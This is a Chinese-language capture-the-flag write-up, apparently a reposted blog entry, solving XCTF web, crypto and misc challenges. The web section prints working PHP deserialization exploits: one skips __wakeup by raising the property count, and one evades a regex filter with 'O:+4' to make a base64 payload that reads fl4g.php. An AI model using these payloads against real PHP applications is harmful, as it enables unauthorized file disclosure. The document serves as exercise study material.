web
unserialize3
打開網頁是

我不太懂然后·我搜了一下unserialize:unserialize() 對單一的已序列化的變數進行操作,將其轉換回 PHP 的值,unserialize() 函式也是php反序列化中
經常使用的函式,
__wakeup 經常用在反序列化操作中,例如重新建立資料庫連接,或執行其它初始化操作.
我把題中的代碼復制到可以運行php的軟體中,這個代碼不能運行需要添加別的東西我不知道該怎么做看了一下大佬的wp.
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
/*輸出結果為:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
*/
然后在網頁中輸入
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
] /*__construct():php中魔術方法的建構式 函式創建一個新的 SimpleXMLElement 物件,
如果成功,則該函式回傳一個物件,如果失敗,則回傳 false*/
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
/*__destruct()是php魔術方法中解構式
魔術方法:PHP中把以兩個下劃線__開頭的方法稱為魔術方法*/
}
function __wakeup() { //會回傳index.php
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) { //正則運算式
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo ('fl4g.php');
$C = serialize($A);
$C = str_replace('O:4','O:+4',$C);
$C = str_replace(':1:',':2:',$C);
var_dump(base64_encode($C));
?>
/*輸出結果
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==*/
在搜索框里輸入
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

cookie
獲取在線場景查看網頁,根據提示查看cookies
F12,查看cookies,發現一個php網頁,嘗試訪問
拿到新的提示,查看回應頭,拿到flag
crypto
告訴你個秘密
636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067
先十六進制轉換為ascii碼,
cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g
base64解碼
r5yG lp9I BjM tFhBT6uh y7iJ QsZ bhM
這是就鍵盤密碼類似r5yG中間所謂的字母是t所以tj就是密碼,以此類推可以得到其他密碼就可以得到flag.

misc
stegano

pdf上寫了很多東西把他們復制然后粘貼到sumbile text上在最上面顯示有A和B
然后我用培根密碼解密發現解不出來然后用摩斯密碼用A代替為.B代替為-然后解密可以得到flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/171605.html
標籤:其他
上一篇:學習利器之一—思維導圖
